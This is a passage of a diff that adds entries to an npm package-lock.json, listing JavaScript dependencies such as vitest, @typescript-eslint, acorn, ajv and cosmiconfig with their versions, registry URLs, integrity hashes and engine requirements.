"^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.63.0.tgz", + "integrity": "sha512-UexrHGnGTpbuQHct2ExOc2ZcFbGUS9FOesCxxqdBGcpI1BxYu/LZ6U8Aq6/72XtF/qRBk9nhuGHFJIXXMhPMdw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.63.0", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@vitejs/plugin-react": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-6.0.3.tgz", + "integrity": "sha512-vmFvco5/QuC2f9Oj+wTk0+9XeDFkHxSamwZKYc7MxYwKICfvUvlMhqKI0VuICPltGqh1neqBKDvO4kes1ya8vg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rolldown/pluginutils": "^1.0.1" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "peerDependencies": { + "@rolldown/plugin-babel": "^0.1.7 || ^0.2.0", + "babel-plugin-react-compiler": "^1.0.0", + "vite": "^8.0.0" + }, + "peerDependenciesMeta": { + "@rolldown/plugin-babel": { + "optional": true + }, + "babel-plugin-react-compiler": { + "optional": true + } + } + }, + "node_modules/@vitest/coverage-v8": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.10.tgz", + "integrity": "sha512-IM49HmthevbgAO4anp1hwtoT9wYe59w0LR00gr+eagHE+ZJ5lK4sLPeO0ubgoJcwLk6dehU3R24N+FbEEKDc8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@bcoe/v8-coverage": "^1.0.2", + "@vitest/utils": "4.1.10", + "ast-v8-to-istanbul": "^1.0.0", + "istanbul-lib-coverage": "^3.2.2", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.2.0", + "magicast": "^0.5.2", + "obug": "^2.1.1", + "std-env": "^4.0.0-rc.1", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@vitest/browser": "4.1.10", + "vitest": "4.1.10" + }, + "peerDependenciesMeta": { + "@vitest/browser": { + "optional": true + } + } + }, + "node_modules/@vitest/expect": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.10.tgz", + "integrity": "sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.1.0", + "@types/chai": "^5.2.2", + "@vitest/spy": "4.1.10", + "@vitest/utils": "4.1.10", + "chai": "^6.2.2", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/mocker": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.10.tgz", + "integrity": "sha512-v0xaezt+DKEmKfaxg133ldzADrwLGd7Ze1MfQQTYfvs8OqZIwbxyxaYURivwV7sWy5fqn3rH5uOrSp07bp44Ow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.1.10", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.21" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/pretty-format": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.10.tgz", + "integrity": "sha512-W1HsjSH4MXQ9YfmmhLAoIYf1HRfekQCGngeIgcei6MP5QQGWUe0gkopdZQaVCFO+JDJMrAJGwa5pRpNpvy4P8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.10.tgz", + "integrity": "sha512-IKI6kpIH+LmpROplyLwBBaCfMgOZOMsygVa6BARD6ahA04VRuJSa6OaVG7kRvSEMD870Vd91rSSw0eegtWyLGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.1.10", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.10.tgz", + "integrity": "sha512-xRkfOT1qpTAi/Ti4Y1LtfRc3kEuqxGw59eN2jN9pRWMtS/XDevekhcFSqvQqjUNGksfjMJu3Y+oJ+4Ypn2OaJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.10", + "@vitest/utils": "4.1.10", + "magic-string": "^0.30.21", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.10.tgz", + "integrity": "sha512-PLf/Ugvoq5wO/b4rwYCR1h2PSIdXz7wnkQFMiUpLdtM7l6pqVFcQIBEHyT1+l+cj7mNwAfZHzqXqDyjvOuwbDw==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "4.1.10", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.10.tgz", + "integrity": "sha512-fy9am/HWxbaGt/Sawrp90vt6Y6jQwf1RX77cz3uwoJwJVMli/e1IEwRPnMNJ7vKfPTwo0diXifkpPvwH9v7nGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.10", + "convert-source-map": "^2.0.0", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils/node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/acorn": { + "version": "8.17.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.17.0.tgz", + "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-escapes": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.3.0.tgz", + "integrity": "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "environment": "^1.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/argue-cli": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/argue-cli/-/argue-cli-3.1.0.tgz", + "integrity": "sha512-DhBpBfXL4SS2uC0N922MMajKR3CdrTG0u2or1PNYgXMsrSzViJrbtvT0nCLlLGUI0plam/ZZCs7aAauHtW9thw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://ko-fi.com/dangreen" + } + }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "license": "Apache-2.0", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/ast-v8-to-istanbul": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.4.tgz", + "integrity": "sha512-0bC0/4bTSrnwdhU3IsZDwEdojvuPrSg59OYZfKsLRtJZ0u8VBx9DebfqqG8bRdCC0I7vjgxmPi41P0lpkhJHtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.31", + "estree-walker": "^3.0.3", + "js-tokens": "^10.0.0" + } + }, + "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", + "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/babel-plugin-macros/node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "license": "MIT", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/babel-plugin-macros/node_modules/yaml": { + "version": "1.10.3", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.3.tgz", + "integrity": "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA==", + "license": "ISC", + "engines": { + "node": ">= 6" + } + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.43", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.43.tgz", + "integrity": "sha512-AjYpR78kDWAY3Efj+cDTFH9t9SCoL7OoTp1BOb0mQV7S+6CiLwnWM3FyxhJtdPufDFKzmCSFoUncKjWgJEZTCQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/bidi-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", + "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "require-from-string": "^2.0.2" + } + }, + "node_modules/brace-expansion": { + "version": "5.0.9", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz", + "integrity": "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.28.6", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.6.tgz", + "integrity": "sha512-FQBYNK15VMslhLHpA7+n+n1GOlF1kId2xcCg7/j95f24AOF6VDYMNH4mFxF7KuaTdv627faazpOAjFzMrfJOUw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.42", + "caniuse-lite": "^1.0.30001803", + "electron-to-chromium": "^1.5.389", + "node-releases": "^2.0.51", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001805", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001805.tgz", + "integrity": "sha512-52noaS3DubycKSXaU30TwPGIp+POyQSUVa5jBEq3vkRkY0kjyb3LQgvhU6WGyCcyXqVLWO0Cw0Q6BSdD0kUfVA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chai": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/cli-cursor": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", + "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", + "dev": true, + "license": "MIT", + "dependencies": { + "restore-cursor": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-truncate": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-5.2.0.tgz", + "integrity": "sha512-xRwvIOMGrfOAnM1JYtqQImuaNtDEv9v6oIYAs4LIHwTiKee8uwvIi363igssOC0O5U04i4AlENs79LQLu9tEMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "slice-ansi": "^8.0.0", + "string-width": "^8.2.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cliui": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-9.0.1.tgz", + "integrity": "sha512-k7ndgKhwoQveBL+/1tqGJYNz097I7WOvwbmmU2AR5+magtbjPWQTS1C5vzGkBC8Ym8UWRzfKUzUUqFLypY4Q+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^7.2.0", + "strip-ansi": "^7.1.0", + "wrap-ansi": "^9.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/cliui/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/cliui/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/conventional-changelog-angular": { + "version": "9.2.1", + "resolved": "https://registry.npmjs.org/conventional-changelog-angular/-/conventional-changelog-angular-9.2.1.tgz", + "integrity": "sha512-oWSL6ZhnXbYraOFTK3PgRAQJ8fADDAEv5K6AdeyQPLvjFmhG8+ejL0jZZp/R7vTmGJaBvZEE+sE7dB4bCv7sAw==", + "dev": true, + "license": "ISC", + "dependencies": { + "@conventional-changelog/template": "^1.2.1" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/conventional-changelog-conventionalcommits": { + "version": "10.2.1", + "resolved": "https://registry.npmjs.org/conventional-changelog-conventionalcommits/-/conventional-changelog-conventionalcommits-10.2.1.tgz", + "integrity": "sha512-n4Kr1HFMTf3iMbES0TMxKIcYtUUv4rKqyQQp2JwfOEfFCOfGT3Tq4mCyJ8S9/YPyWhydjfKrrvnyl+gCjA+mJQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "@conventional-changelog/template": "^1.2.1" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/conventional-commits-parser": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/conventional-commits-parser/-/conventional-commits-parser-7.1.0.tgz", + "integrity": "sha512-DPp6hkUjvwIivxbkrTiLXeRswNv1A/4GFA2X6scXma0AMa9632V3TwxmrlkUIEtUktiM3Ln+RrSH2xlP3/jUTw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@simple-libs/stream-utils": "^2.0.0", + "argue-cli": "^3.1.0" + }, + "bin": { + "conventional-commits-parser": "dist/cli/index.js" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "license": "MIT" + }, + "node_modules/cookie-es": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/cookie-es/-/cookie-es-3.1.1.tgz", + "integrity": "sha512-UaXxwISYJPTr9hwQxMFYZ7kNhSXboMXP+Z3TRX6f1/NyaGPfuNUZOWP1pUEb75B2HjfklIYLVRfWiFZJyC6Npg==", + "license": "MIT" + }, + "node_modules/cosmiconfig": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.2.tgz", + "integrity": "sha512-gtTZxTDau1wL7Y7zifc2dd8jHSK/k6BTx/2Xp/BpdlAdnlYWFVt7qhJqgwi7637yRwRQ3qL4ZidbB4I8tA5VOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.1", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/d-fischer" + }, + "peerDependencies": { + "typescript": ">=4.9.5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/cosmiconfig-typescript-loader": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/cosmiconfig-typescript-loader/-/cosmiconfig-typescript-loader-6.3.0.tgz", + "integrity": "sha512-Akr82WH1Wfqatyiqpj8HDkO2o2KmJRu1FhKfSNJP3K4IdXwHfEyL7MOb62i1AGQVLtIQM+iCE9CGOtrfhR+mmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "jiti": "2.6.1" + }, + "engines": { + "node": ">=v18" + }, + "peerDependencies": { + "@types/node": "*", + "cosmiconfig": ">=9", + "typescript": ">=5" + } + }, + "node_modules/cosmiconfig-typescript-loader/node_modules/jiti": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz", + "integrity": "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-tree": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz", + "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.27.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/data-urls": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz", + "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-mimetype": "^5.0.0", + "whatwg-url": "^16.0.0" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "dev": true, + "license": "MIT" + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": 